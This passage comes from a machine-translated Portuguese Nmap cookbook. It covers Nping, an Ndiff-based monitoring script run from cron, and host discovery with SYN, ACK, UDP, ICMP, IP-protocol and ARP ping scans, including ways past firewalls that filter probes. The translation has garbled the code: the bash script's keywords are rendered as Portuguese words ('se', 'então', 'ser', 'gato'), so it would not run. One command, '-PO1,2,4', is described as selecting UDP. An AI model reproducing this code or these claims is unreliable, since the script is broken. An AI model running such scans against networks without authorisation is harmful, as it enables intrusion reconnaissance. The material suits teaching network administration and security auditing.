O argumento após –ec corresponde a uma senha secreta conhecida pelo servidor para criptografar e autenticar
a sessão.

O sinalizador -c é usado para especificar quantas iterações de pacotes devem ser enviadas.

Tem mais...
Com o Nping é muito simples gerar pacotes TCP customizados. Por exemplo, para enviar um pacote TCP SYN
para a porta 80, use o seguinte comando:

# nping --tcp -flags syn -p80 -c 1 192.168.1.254

Isso resultará na seguinte saída:

SENT (0.0615s) TCP 192.168.1.102:33599 > 192.168.1.254:80 S ttl=64 id=21546 iplen=40


seq=2463610684 win=1480
RCVD (0.0638s) TCP 192.168.1.254:80 > 192.168.1.102:33599 SA ttl=254 id=30048 iplen=44 seq=457728000
win=1536 <mss 768>

RTT máximo: 2.342ms | RTT mínimo: 2,342 ms | RTT médio: 2,342ms

Pacotes brutos enviados: 1 (40B) | Rcvd: 1 (46B) | Perdido: 0 (0,00%)

Tempo de transmissão: 0,00122s | Tx bytes/s: 32894.74 | Tx pacotes/s: 822,37 Rx time:

1,00169s | Rx bytes/s: 45,92 | Rx pacotes/s: 1,00


Nping concluído: 1 endereço IP pingado em 1,14 segundos

O Nping é uma ferramenta muito poderosa para análise de tráfego e elaboração de pacotes. Reserve um
momento para percorrer todas as opções usando o seguinte comando:

$ nping -h

Protocolo Nping Echo Para saber


mais sobre o protocolo Nping Echo, visite http://nmap.org/svn/nping/docs/EchoProtoRFC.txt.

40

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

Veja também

f A receita Encontrando hosts ao vivo em sua rede f A receita


Comparando os resultados da varredura com Ndiff f A receita
Gerenciando vários perfis de varredura com Zenmap f A receita Monitorando
servidores remotamente com Nmap e Ndiff f A receita Reunindo informações de rede
com scripts de transmissão Capítulo 2,
Exploração de rede f A

receita de registros DNS de força bruta Capítulo 3, Reunindo host adicional


Informação

f A falsificação do IP de origem de uma receita de varredura de porta Capítulo 3, Coletando dados adicionais
Informações do host

f A receita Gerando um gráfico de topologia de rede com o Zenmap Capítulo 8,


Gerando Relatórios de Varredura

Monitorando servidores remotamente com Nmap e


Diferença

A combinação de ferramentas do projeto Nmap nos permite configurar um sistema de monitoramento simples, mas
poderoso. Isso pode ser usado por administradores de sistema que monitoram um servidor da Web ou por testadores de
penetração que desejam vigiar um sistema remoto.

Esta receita descreve como usar script bash, cron, Nmap e Ndiff para configurar um sistema de monitoramento que alerta
o usuário por e-mail se forem detectadas alterações em uma rede.

Como fazer isso...

Crie o diretório /usr/local/share/nmap-mon/ para armazenar todos os arquivos necessários.

Examine seu host de destino e salve os resultados no diretório que você acabou de criar.

# nmap -oX base_results.xml -sV -PN <alvo>

O arquivo base_results.xml resultante será usado como seu arquivo base, o que significa que ele deve refletir as versões
e portas "boas" conhecidas.

Copie o arquivo nmap-mon.sh em seu diretório de trabalho.

A saída da varredura será a seguinte.

#!/bin/bash
#Bash script para enviar e-mail ao administrador quando alterações são detectadas em uma rede usando
Nmap e Ndiff. #

41

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

#Não se esqueça de ajustar as variáveis de CONFIGURAÇÃO.

#Paulino Calderon <calderon@websec.mx>

#CONFIGURAÇÃO

REDE="SEUDOMÍNIO.COM"

ADMIN=SEU@EMAIL.COM

NMAP_FLAGS="-sV -Pn -p- -T4"

BASE_PATH=/usr/local/share/nmap-mon/

BIN_PATH=/usr/local/bin/

BASE_FILE=base.xml

NDIFF_FILE=ndiff.log

NEW_RESULTS_FILE=newscanresults.xml

BASE_RESULTS="$BASE_PATH$BASE_FILE"

NEW_RESULTS="$BASE_PATH$NEW_RESULTS_FILE"

NDIFF_RESULTS="$BASE_PATH$NDIFF_FILE"

se [ -f $BASE_RESULTS ]
então

echo "Verificando host $NETWORK"

${BIN_PATH}nmap -oX $NEW_RESULTS $NMAP_FLAGS $NETWORK

${BIN_PATH}ndiff $BASE_RESULTS $NEW_RESULTS > $NDIFF_RESULTS if [ $(cat $NDIFF_RESULTS

| wc -l) -gt 0 ]
então

echo "Mudanças de rede detectadas em $NETWORK"

gato $NDIFF_RESULTS

echo "Alertando admin $ADMIN"

mail -s "Mudanças de rede detectadas em $NETWORK" $ADMIN < $NDIFF_


RESULTADOS

ser

ser

Atualize os valores de configuração de acordo com seu sistema.

REDE="SEUDOMÍNIO.COM"

42

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

ADMIN=SEU@EMAIL.COM

NMAP_FLAGS="-sV -Pn -p- -T4"


BASE_PATH=/usr/local/share/nmap-mon/
BIN_PATH=/usr/local/bin/
BASE_FILE=base.xml
NDIFF_FILE=ndiff.log
NEW_RESULTS_FILE=newscanresults.xml

Torne nmap-mon.sh executável digitando o seguinte comando:

# chmod +x /usr/local/share/nmap-mon/nmap-mon.sh

Agora você pode executar o script nmap-mon.sh para garantir que esteja funcionando corretamente.

# /usr/local/share/nmap-mon/nmap-mon.sh

Inicie seu editor crontab :

# crontab -e

Adicione o seguinte comando:

0 * * * * /usr/local/share/nmap-mon/nmap-mon.sh

Agora você deve receber alertas de e-mail quando o Ndiff detectar uma alteração em sua rede.

Como funciona...
Ndiff é uma ferramenta para comparar duas varreduras do Nmap. Com a ajuda do bash e do cron, configuramos uma
tarefa que é executada em intervalos regulares para escanear nossa rede e comparar nosso estado atual com um estado
mais antigo, a fim de identificar as diferenças entre eles.

Tem mais...
Você pode ajustar o intervalo entre as varreduras modificando a linha do cron:

0 * * * * /usr/local/share/nmap-mon/nmap-mon.sh

Para atualizar seu arquivo base, basta substituir seu arquivo base localizado em /usr/local/share/nmap-mon/. Lembre-
se de que quando alteramos os parâmetros de varredura para criar nosso arquivo base, precisamos atualizá-los também
no nmap-mon.sh .

Monitorando serviços específicos Para monitorar


algum serviço específico, você precisa atualizar os parâmetros de varredura em nmap-mon.sh.

NMAP_FLAGS="-sV -Pn"

43

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Por exemplo, se você quiser monitorar um servidor web, você pode usar os seguintes parâmetros:

NMAP_FLAGS="-sV --script http-google-safe -Pn -p80,443"

Esses parâmetros definem a verificação de porta apenas para as portas 80 e 443 e, além disso,
esses parâmetros incluem o script http-google-safe para verificar se seu servidor da web foi marcado
como malicioso pelo serviço Google Safe Browsing.

Veja também

f A listagem de portas abertas em uma receita de host remoto

f Os serviços de impressão digital de uma receita de host remoto

f A receita Encontrando hosts ao vivo em sua rede

f A receita Executando scripts NSE f A

receita Comparando resultados de varredura com Ndiff f A

receita Descobrindo hosts com varreduras de ping ICMP no Capítulo 2, Exploração de rede

f A receita de digitalização de endereços IPv6 no Capítulo 2, Exploração de rede f A

receita de coleta de informações de rede com scripts de transmissão no Capítulo 2,


Exploração de rede

f A receita Verificando se um host é conhecido por atividades maliciosas no Capítulo 3,


Coletando informações adicionais do host

f A receita Descobrindo serviços UDP no Capítulo 3, Reunindo dados adicionais


Informações do host

44

www.it-ebooks.info
Machine Translated by Google

Exploração de rede
2
Este capítulo mostra como fazer algumas coisas que, em muitas situações, podem
ser ilegais, antiéticas, uma violação dos termos de serviço ou simplesmente não
ser uma boa ideia. Ele é fornecido aqui para fornecer informações que podem ser
úteis para se proteger contra ameaças e tornar seu próprio sistema mais seguro.
Antes de seguir estas instruções, certifique-se de estar do lado certo da linha legal
e ética... use seus poderes para o bem!

Neste capítulo, abordaremos:

f Descobrir hosts com varreduras de ping TCP SYN f


Descobrir hosts com varreduras de ping TCP ACK f
Descobrir hosts com varreduras de ping UDP f
Descobrir hosts com varreduras de ping ICMP f
Descobrir hosts com varreduras de ping de protocolo IP
f Descobrir hosts com varreduras de ping ARP
f Descobrindo hosts usando pings de broadcast f
Ocultando nosso tráfego com dados aleatórios adicionais
f Forçando a resolução de DNS f Excluindo hosts de
suas varreduras f Varrendo endereços IPv6 f Coletando
informações de rede com scripts de broadcast

Introdução

Nos últimos anos, o Nmap se tornou a ferramenta de fato para exploração de rede, deixando todos os
outros scanners para trás. Sua popularidade vem de ter um grande número de recursos que são úteis para
testadores de penetração e administradores de sistema. Ele oferece suporte a várias técnicas de ping e
varredura de portas aplicadas à descoberta de host e serviço, correspondentemente.

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Hosts protegidos por sistemas de filtragem de pacotes, como firewalls ou sistemas de prevenção de invasões,
às vezes causam resultados incorretos devido a regras usadas para bloquear determinados tipos de tráfego. A
flexibilidade fornecida pelo Nmap nesses casos é inestimável, pois podemos facilmente tentar uma técnica
alternativa de descoberta de host (ou uma combinação delas) para superar essas limitações. O Nmap também
inclui alguns recursos muito interessantes para tornar nosso tráfego menos suspeito. Por esse motivo, aprender
a combinar esses recursos é essencial se você deseja realizar varreduras realmente abrangentes.

Os administradores de sistema obterão uma compreensão do funcionamento interno de diferentes técnicas de


varredura e, com sorte, os motivarão a endurecer suas regras de filtragem de tráfego para tornar seus hosts mais
seguros.

Este capítulo apresenta as técnicas de verificação de ping suportadas — TCP SYN, TCP ACK, UDP, IP,
ICMP e broadcast. Outros truques úteis também são descritos, incluindo como forçar a resolução de DNS,
randomizar uma ordem de host, anexar dados aleatórios e verificar endereços IPv6.

Não se esqueça de visitar também o guia de referência para descoberta de host,


hospedado em http://nmap.org/book/man-host-discovery.html.

Descobrindo hosts com varreduras de ping TCP SYN


As varreduras de ping são usadas para detectar hosts ativos em redes. A verificação de ping padrão do
Nmap (-sP) usa um TCP ACK e uma solicitação de eco ICMP para determinar se um host está respondendo,
mas se um firewall estiver bloqueando essas solicitações, perderemos esse host. Felizmente, o Nmap
suporta uma técnica de varredura chamada varredura de ping TCP SYN que é muito útil nessas situações,
onde os administradores de sistema poderiam ter sido mais flexíveis com outras regras de firewall.

Esta receita falará sobre a varredura de ping TCP SYN e suas opções relacionadas.

Como fazer isso...


Abra seu terminal e digite o seguinte comando:

$ nmap -sP -PS 192.168.1.1/24

Você deve ver a lista de hosts encontrados usando a varredura de ping TCP SYN:

$ nmap -sP -PS 192.168.1.1/24


Relatório de verificação do Nmap para 192.168.1.101
O host está ativo (latência de 0,088 s).
Relatório de verificação do Nmap para 192.168.1.102
O host está ativo (latência de 0,000085s).
Relatório de verificação do Nmap para 192.168.1.254
O host está ativo (latência de 0,0042s).
Nmap concluído: 256 endereços IP (3 hosts acima) verificados em 18,69 segundos

46

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

Como funciona...
O argumento -sP diz ao Nmap para executar uma varredura de ping, que consiste apenas em descobrir hosts online.

O sinalizador -PS força uma varredura de ping TCP SYN. Este tipo de verificação de ping funciona da seguinte maneira:

f O Nmap envia um pacote TCP SYN para a porta 80.

f Se a porta estiver fechada, o host responde com um pacote RST.

f Se a porta estiver aberta, o host responde com um pacote TCP SYN/ACK indicando que uma conexão
pode ser estabelecida. Em seguida, um pacote RST é enviado para redefinir essa conexão.

O CIDR /24 em 192.168.1.1/24 é usado para indicar que queremos verificar todos os 256 IPs em nossa rede
privada.

Tem mais...
Vamos iniciar uma verificação de ping em um host que não responde às solicitações ICMP.

# nmap -sP 0xdeadbeefcafe.com

Nota: O host parece estar fora do ar. Se estiver realmente ativo, mas bloqueando nossas sondas de ping,
tente -Pn
Nmap concluído: 1 endereço IP (0 hosts ativos) verificado em 3,14 segundos

O host está marcado como offline, mas vamos tentar forçar uma varredura de ping TCP SYN:

# nmap -sP -PS 0xdeadbeefcafe.com

Relatório de varredura Nmap para 0xdeadbeefcafe.com (50.116.1.121)


O host está ativo (latência de 0,090s).
Nmap concluído: 1 endereço IP (1 host ativado) verificado em 13,24 segundos

Desta vez, descobrimos que esse host específico estava realmente online, mas atrás de um sistema de filtragem de
solicitações de eco TCP ACK ou ICMP.

Varredura de ping TCP SYN privilegiada versus não privilegiada Executar uma varredura

de ping TCP SYN como um usuário não privilegiado que não pode enviar pacotes brutos faz com que o Nmap use a
chamada de sistema connect() para enviar o pacote TCP SYN. Neste caso, o Nmap distingue um pacote SYN/ACK
quando a função retorna com sucesso, e um pacote RST quando recebe uma mensagem de erro ECONNREFUSED.

47

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Firewalls e filtros de tráfego


Durante uma varredura de ping TCP SYN, o Nmap usa as respostas SYN/ACK e RST para determinar se o host
está respondendo. É importante observar que existem firewalls configurados para descartar pacotes RST. Nesse
caso, a varredura de ping TCP SYN falhará, a menos que especifiquemos uma porta aberta:

$ nmap -sP -PS80 <alvo>

Você pode definir a lista de portas a ser usada com -PS (lista ou intervalo de portas) da seguinte maneira:

$ nmap -sP -PS80,21,53 <alvo>


$ nmap -sP -PS1-1000 <alvo>
$ nmap -sP -PS80,100-1000 <alvo>

Veja também

f A receita Encontrando hosts ativos em sua rede no Capítulo 1, Fundamentos do Nmap

f A receita de varreduras de ping de descoberta de hosts com TCP ACK

f A descoberta de hosts com receita de varreduras de ping UDP f A

descoberta de hosts com receita de varreduras de ping ICMP

f A receita de varreduras de ping de descoberta de hosts com protocolo IP

f A receita de descoberta de hosts com varreduras de ping ARP f A

receita de descoberta de hosts usando pings de transmissão f A

receita de descoberta de firewalls de estado usando uma varredura de TCP ACK no Capítulo 3,
Coletando informações adicionais do host

Descobrindo hosts com varreduras de ping TCP ACK


Semelhante à varredura de ping TCP SYN, a varredura de ping TCP ACK é usada para determinar se um host
está respondendo. Ele pode ser usado para detectar hosts que bloqueiam pacotes SYN ou solicitações de eco
ICMP, mas provavelmente será bloqueado por firewalls modernos que rastreiam os estados da conexão.

A receita a seguir mostra como executar uma verificação de ping TCP ACK e suas opções relacionadas.

Como fazer isso...

Abra um terminal e digite o seguinte comando:

# nmap -sP -PA <destino>

48

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

Como funciona...
Uma varredura de ping TCP ACK funciona da seguinte maneira:

f O Nmap envia um pacote TCP vazio com o sinalizador ACK definido para a porta 80

f Se o host estiver offline, ele não deve responder a esta solicitação

f Se o host estiver online, ele retorna um pacote RST, pois a conexão não existe

Tem mais...
É importante entender que haverá casos em que essa técnica não funcionará.
Vamos iniciar uma verificação de ping TCP ACK em um desses hosts.

# nmap -sP -PA 0xdeadbeefcafe.com

Nota: O host parece estar fora do ar. Se estiver realmente ativo, mas bloqueando nossas sondas de ping,
tente -Pn
Nmap concluído: 1 endereço IP (0 hosts ativos) verificado em 3,14 segundos

O host é mostrado como offline, mas vamos tentar uma varredura de ping TCP SYN com o mesmo host.

# nmap -sP -PS 0xdeadbeefcafe.com

Relatório de varredura Nmap para 0xdeadbeefcafe.com (50.116.1.121)


O host está ativo (latência de 0,090s).
Nmap concluído: 1 endereço IP (1 host ativado) verificado em 13,24 segundos

Descobrimos que o host estava online, mas bloqueando os pacotes ACK.

Varredura de ping TCP ACK privilegiada versus não privilegiada As varreduras de ping

TCP ACK precisam ser executadas como um usuário privilegiado, caso contrário, uma chamada de sistema connect()
é usada para enviar um pacote TCP SYN vazio. Portanto, as varreduras de ping TCP ACK não usarão a técnica TCP
ACK, discutida anteriormente, como um usuário não privilegiado e, em vez disso, executarão uma varredura de ping TCP
SYN.

49

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Selecionando portas em varreduras de ping TCP ACK


Além disso, você pode selecionar as portas a serem sondadas usando esta técnica, listando-as após o
sinalizador -PA:

# nmap -sP -PA21,22,80 <alvo>


# nmap -sP -PA80-150 <destino>
# nmap -sP -PA22,1000-65535 <alvo>

Veja também

f A receita Encontrando hosts ativos em sua rede no Capítulo 1, Fundamentos do Nmap f A receita
Descobrindo hosts com varreduras de ping TCP SYN f A receita Descobrindo hosts com varreduras
ping UDP f A receita descobrindo hosts com varreduras de ping ICMP f A descoberta de hosts com
protocolo IP receita de varreduras de ping f A descoberta de hosts com receita de varreduras de ping
ARP

f A receita Descobrindo hosts usando pings de transmissão f A


receita Descobrindo firewalls de estado usando uma varredura TCP ACK no Capítulo 3,
Coletando informações adicionais do host

Descobrindo hosts com varreduras de ping UDP


As varreduras de ping são usadas para determinar se um host está respondendo e pode ser considerado online.
As varreduras de ping UDP têm a vantagem de serem capazes de detectar sistemas atrás de firewalls com
filtragem TCP estrita, deixando o tráfego UDP esquecido.

Esta próxima receita descreve como executar uma varredura de ping UDP com o Nmap e suas opções relacionadas.

Como fazer isso...

Abra um terminal e digite o seguinte comando:

# nmap -sP -PU <destino>

O Nmap determinará se <target> é alcançável usando esta técnica.

# nmap -sP -PU scanme.nmap.org

Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)


O host está ativo (latência de 0,089s).
Nmap concluído: 1 endereço IP (1 host ativado) verificado em 13,25 segundos

50

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

Como funciona...
A técnica usada por uma verificação de ping UDP funciona da seguinte maneira:

f O Nmap envia um pacote UDP vazio para as portas 31 e 338

f Se o host estiver respondendo, ele deve retornar um erro de porta inacessível ICMP

f Se o host estiver offline, várias mensagens de erro ICMP podem ser retornadas

Tem mais...
Os serviços que não respondem a pacotes UDP vazios gerarão falsos positivos quando investigados.
Esses serviços simplesmente ignorarão os pacotes UDP e o host será marcado incorretamente como offline. Portanto, é importante
selecionarmos as portas que provavelmente serão fechadas.

Selecionando portas em varreduras de ping UDP


Para especificar as portas a serem sondadas, adicione-as após o sinalizador -PU, conforme a seguir:

# nmap -sP -PU1337,11111 scanme.nmap.org

Veja também

f A receita Encontrando hosts ativos em sua rede no Capítulo 1, Fundamentos do Nmap

f A descoberta de hosts com receita de varreduras de ping TCP SYN f A

descoberta de hosts com receita de varreduras de ping TCP ACK f A descoberta

de hosts com receita de varreduras de ping ICMP

f A receita de varreduras de ping de descoberta de hosts com protocolo IP

f A receita de descoberta de hosts com varreduras de ping ARP

f A receita de descoberta de hosts usando pings de transmissão

f A descoberta de firewalls dinâmicos usando uma receita de varredura TCP ACK no Capítulo 3,
Coletando informações adicionais do host

Descobrindo hosts com varreduras de ping ICMP


As varreduras de ping são usadas para determinar se um host está online e respondendo. As mensagens ICMP são usadas para
essa finalidade e, portanto, as varreduras de ping ICMP usam esses tipos de pacotes para realizar isso.

A receita a seguir descreve como executar uma varredura de ping ICMP com o Nmap e os sinalizadores para os diferentes tipos
de mensagens ICMP.

51

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Como fazer isso...


Para fazer uma solicitação de eco ICMP, abra seu terminal e digite o seguinte comando:

# nmap -sP -PE scanme.nmap.org

Se o host respondeu, você deve ver algo semelhante a isto:

# nmap -sP -PE scanme.nmap.org

Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)


O host está ativo (latência de 0,089s).
Nmap concluído: 1 endereço IP (1 host ativado) verificado em 13,25 segundos

Como funciona...
Os argumentos -sP -PE scanme.nmap.org dizem ao Nmap para enviar um pacote de requisição de eco ICMP
para o host scanme.nmap.org. Podemos determinar que um host está online se recebermos uma resposta de eco
ICMP a esta investigação.

SENT (0.0775s) ICMP 192.168.1.102 > 74.207.244.221 Solicitação de eco (tipo=8/ código=0) ttl=56 id=58419
iplen=28
RCVD (0.1671s) ICMP 74.207.244.221 > 192.168.1.102 Resposta de eco (tipo=0/ código=0) ttl=53 id=24879
iplen=28
Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)
O host está ativo (latência de 0,090s).
Nmap concluído: 1 endereço IP (1 host ativado) verificado em 0,23 segundos

Tem mais...
Infelizmente, o ICMP existe há muito tempo e os pacotes ICMP remotos agora são geralmente bloqueados
pelos administradores do sistema. No entanto, ainda é uma técnica de ping útil para monitorar redes locais.

Tipos de ICMP
Existem outras mensagens ICMP que podem ser usadas para descoberta de host, e o Nmap suporta a
resposta de carimbo de data/hora ICMP (-PP) e a resposta de marca de endereço (-PM). Essas variantes
podem contornar firewalls mal configurados, que bloqueiam apenas solicitações de eco ICMP.

$ nmap -sP -PP <alvo>


$ nmap -sP -PM <destino>

52

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

Veja também

f A receita Encontrando hosts ativos em sua rede no Capítulo 1, Fundamentos do Nmap

f A receita de varreduras de ping de descoberta de hosts com TCP SYN

f A receita de varreduras de ping de descoberta de hosts com TCP ACK

f A receita de descoberta de hosts com varreduras de ping UDP

f A descoberta de hosts com receita de varreduras de ping de protocolo IP

f A descoberta de hosts com receita de varreduras de ping ARP

f A receita de descoberta de hosts usando pings de transmissão

f A descoberta de firewalls dinâmicos usando uma receita de varredura TCP ACK no Capítulo 3,
Coletando informações adicionais do host

Descobrindo hosts com ping de protocolo IP


varreduras

As varreduras de ping são muito importantes para a descoberta de host. Administradores de sistema e
testadores de penetração os usam para determinar quais hosts estão online e respondendo. O Nmap implementa
várias técnicas de varredura de ping, incluindo uma chamada varredura de ping de protocolo IP. Essa técnica
tenta enviar diferentes pacotes usando diferentes protocolos IP, esperando obter uma resposta indicando que
um host está online.

Esta receita descreve como realizar varreduras de ping de protocolo IP.

Como fazer isso...

Abra seu terminal e digite o seguinte comando:

# nmap -sP -PO scanme.nmap.org

Se o host respondeu a qualquer um dos pedidos, você deve ver algo como isto:

# nmap -sP -PO scanme.nmap.org


Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)
O host está ativo (latência de 0,091s).
Nmap concluído: 1 endereço IP (1 host ativado) verificado em 13,25 segundos

53

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Como funciona...
Os argumentos -sP -PO scanme.nmap.org dizem ao Nmap para executar uma varredura de ping do
protocolo IP do host scanme.nmap.org.

Por padrão, esta verificação de ping usará os protocolos IGMP, IP-in-IP e ICMP para tentar obter
uma resposta que indique que o host está online. Usar --packet-trace mostrará mais detalhes do que
aconteceu por trás das cortinas:

# nmap -sP -PO --packet-trace scanme.nmap.org

SENT (0.0775s) ICMP 192.168.1.102 > 74.207.244.221 Solicitação de eco (tipo=8/ código=0) ttl=52 id=8846 iplen=28

SENT (0.0776s) IGMP (2) 192.168.1.102 > 74.207.244.221: ttl=38 id=55049 iplen=28

SENT (0.0776s) IP (4) 192.168.1.102 > 74.207.244.221: ttl=38 id=49338 iplen=20

RCVD (0.1679s) ICMP 74.207.244.221 > 192.168.1.102 Resposta de eco (tipo=0/ código=0) ttl=53 id=63986 iplen=28

NSOCK (0.2290s) Conexão UDP solicitada para 192.168.1.254:53 (IOD #1) EID 8

NSOCK (0,2290s) Solicitação de leitura do IOD #1 [192.168.1.254:53] (tempo limite: -1ms) EID 18

NSOCK (0.2290s) Solicitação de gravação de 45 bytes para IOD #1 EID 27


[192.168.1.254:53]: .............221.244.207.74.in-addr.arpa.... .

NSOCK (0.2290s) Callback: CONNECT SUCCESS for EID 8 [192.168.1.254:53]

NSOCK (0.2290s) Callback: WRITE SUCCESS for EID 27 [192.168.1.254:53]

NSOCK (4.2300s) Solicitação de gravação de 45 bytes para IOD #1 EID 35


[192.168.1.254:53]: .............221.244.207.74.in-addr.arpa.... .

NSOCK (4.2300s) Callback: WRITE SUCCESS for EID 35 [192.168.1.254:53]

NSOCK (8.2310s) Solicitação de gravação de 45 bytes para IOD #1 EID 43


[192.168.1.254:53]: .............221.244.207.74.in-addr.arpa.... .

NSOCK (8.2310s) Callback: WRITE SUCCESS for EID 43 [192.168.1.254:53]

Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)

O host está ativo (latência de 0,090s).

Nmap concluído: 1 endereço IP (1 host ativado) verificado em 13,23 segundos

54

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

As três linhas marcadas como SENT mostram os pacotes ICMP, IGMP e IP-in-IP:

SENT (0.0775s) ICMP 192.168.1.102 > 74.207.244.221 Solicitação de eco (tipo=8/ código=0) ttl=52 id=8846
iplen=28
SENT (0.0776s) IGMP (2) 192.168.1.102 > 74.207.244.221: ttl=38 id=55049 iplen=28

SENT (0.0776s) IP (4) 192.168.1.102 > 74.207.244.221: ttl=38 id=49338 iplen=20

Desses três, apenas o ICMP respondeu:

RCVD (0.1679s) ICMP 74.207.244.221 > 192.168.1.102 Resposta de eco (tipo=0/ código=0) ttl=53
id=63986 iplen=28

No entanto, isso foi o suficiente para revelar que esse host está online.

Tem mais...
Você também pode definir os protocolos IP a serem usados listando-os após a opção -PO. Por exemplo, para usar
os protocolos ICMP (Protocolo número 1), IGMP (Protocolo número 2) e UDP (Protocolo número 17), o seguinte
comando pode ser usado:

# nmap -sP -PO1,2,4 scanme.nmap.org

Todos os pacotes enviados usando esta técnica estarão vazios. Lembre-se que você pode gerar dados aleatórios
para serem usados com esses pacotes, com a opção --data-length:

# nmap -sP -PO --data-length 100 scanme.nmap.org

Protocolos IP suportados e suas cargas úteis


Os protocolos que definem todos os seus cabeçalhos de protocolo, quando usados, são:

f TCP: Protocolo número 6

f UDP: Protocolo número 17

f ICMP: Protocolo número 1

f IGMP: Protocolo número 2

Para qualquer um dos outros protocolos IP, será enviado um pacote apenas com o cabeçalho IP.

55

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Veja também

f A receita Encontrando hosts ativos em sua rede no Capítulo 1, Fundamentos do Nmap

f A receita de varreduras de ping de descoberta de hosts com TCP SYN

f A receita de varreduras de ping de descoberta de hosts com TCP ACK

f A receita de descoberta de hosts com varreduras de ping UDP

f A receita de varreduras de ping ICMP de hosts de descoberta

f A receita de varreduras de ping de hosts de descoberta com ARP

f A receita de descoberta de hosts usando pings de transmissão

f A descoberta de firewalls dinâmicos usando uma receita de varredura TCP ACK no Capítulo 3,
Coletando informações adicionais do host

Descobrindo hosts com varreduras de ping ARP


As varreduras de ping são usadas por testadores de penetração e administradores de sistema para determinar se
os hosts estão online. As varreduras de ping ARP são a maneira mais eficaz de detectar hosts em redes LAN.

O Nmap realmente brilha usando seu próprio algoritmo para otimizar esta técnica de varredura.
A receita a seguir passa pelo processo de lançamento de uma varredura de ping ARP e suas opções
disponíveis.

Como fazer isso...

Abra seu terminal favorito e digite o seguinte comando:

# nmap -sP -PR 192.168.1.1/24

Você deve ver a lista de hosts que responderam às solicitações ARP:

# nmap -sP -PR 192.168.1.1/24

Relatório de verificação do Nmap para 192.168.1.102

O host está ativo.

Relatório de verificação do Nmap para 192.168.1.103

O host está ativo (latência de 0,0066s).


Endereço MAC: 00:16:6F:7E:E0:B6 (Intel)

Relatório de verificação do Nmap para 192.168.1.254

O host está ativo (latência de 0,0039s).


Endereço MAC: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)

Nmap concluído: 256 endereços IP (3 hosts acima) verificados em 14,94 segundos

56

www.it-ebooks.info
Machine Translated by Google

Capítulo 2

Como funciona...
Os argumentos -sP -PR 192.168.1.1/24 fazem o Nmap iniciar uma varredura de ping ARP de todos os 256 IPs (CIDR /
24) nesta rede privada.

A varredura de ping ARP funciona de uma maneira bastante simples:

f As solicitações ARP são enviadas ao destino

f Se o host responder com uma resposta ARP, fica bem claro que está online

Para enviar uma solicitação ARP, o seguinte comando é usado:

# nmap -sP -PR --packet-trace 192.168.1.254

O resultado deste comando seria o seguinte:

SENT (0.0734s) ARP quem tem 192.168.1.254 diga 192.168.1.102

RCVD (0.0842s) Resposta ARP 192.168.1.254 is-at 5C:4C:A9:F2:DC:7C

NSOCK (0.1120s) Conexão UDP solicitada para 192.168.1.254:53 (IOD #1) EID 8

NSOCK (0.1120s) Solicitação de leitura do IOD #1 [192.168.1.254:53] (tempo limite: -1ms) EID 18

NSOCK (0.1120s) Solicitação de gravação de 44 bytes para IOD #1 EID 27


[192.168.1.254:53]: .............254.1.168.192.in-addr.arpa.... .

NSOCK (0.1120s) Callback: CONNECT SUCCESS for EID 8 [192.168.1.254:53]

NSOCK (0.1120s) Callback: WRITE SUCCESS for EID 27 [192.168.1.254:53]

NSOCK (0.2030s) Callback: READ SUCCESS for EID 18 [192.168.1.254:53] (44 bytes): .............254.1.168.192.in-addr.arpa.... .

NSOCK (0,2030s) Solicitação de leitura do IOD #1 [192.168.1.254:53] (tempo limite: -1ms) EID 34

Relatório de verificação do Nmap para 192.168.1.254

O host está ativo (latência de 0,011s).

Endereço MAC: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)

Nmap concluído: 1 endereço IP (1 host ativo) verificado em 0,22 segundos

Observe as solicitações ARP no início da saída da varredura:

SENT (0.0734s) ARP quem tem 192.168.1.254 diga 192.168.1.102

RCVD (0.0842s) Resposta ARP 192.168.1.254 is-at 5C:4C:A9:F2:DC:7C

A resposta ARP revela que o host 192.168.1.254 está online e tem o endereço MAC
5C:4C:A9:F2:DC:7C.

57

www.it-ebooks.info
Machine Translated by Google

Exploração de rede

Tem mais...
Toda vez que o Nmap varre um endereço privado, uma solicitação ARP precisa ser feita
inevitavelmente, porque precisamos do destino do alvo antes de enviar qualquer sondagem. Como as
respostas ARP revelam que um host está online, nenhum teste adicional precisa ser feito após esta etapa.
Esta é a razão pela qual o Nmap usa automaticamente esta técnica toda vez que você executa uma
varredura de ping em uma rede LAN privada, não importa quais argumentos foram passados:

# nmap -sP -PS --packet-trace 192.168.1.254

SENT (0.0609s) ARP quem tem 192.168.1.254 diga 192.168.1.102

RCVD (0.0628s) Resposta ARP 192.168.1.254 is-at 5C:4C:A9:F2:DC:7C

NSOCK (0.1370s) Conexão UDP solicitada para 192.168.1.254:53 (IOD #1) EID 8

NSOCK (0.1370s) Solicitação de leitura do IOD #1 [192.168.1.254:53] (tempo limite: -1ms) EID 18

NSOCK (0.1370s) Solicitação de gravação de 44 bytes para IOD #1 EID 27 [192.168.1.254:53]:


1.........254.1.168.192.in-addr.arpa.... .

NSOCK (0.1370s) Callback: CONNECT SUCCESS for EID 8 [192.168.1.254:53]

NSOCK (0.1370s) Callback: WRITE SUCCESS for EID 27 [192.168.1.254:53]

NSOCK (0.1630s) Callback: READ SUCCESS for EID 18 [192.168.1.254:53] (44 bytes): 1............254.1.168.192.in-
addr.arpa.... .

NSOCK (0,1630s) Solicitação de leitura do IOD #1 [192.168.1.254:53] (tempo limite: -1ms) EID 34

Relatório de verificação do Nmap para 192.168.1.254

O host está ativo (latência de 0,0019s).

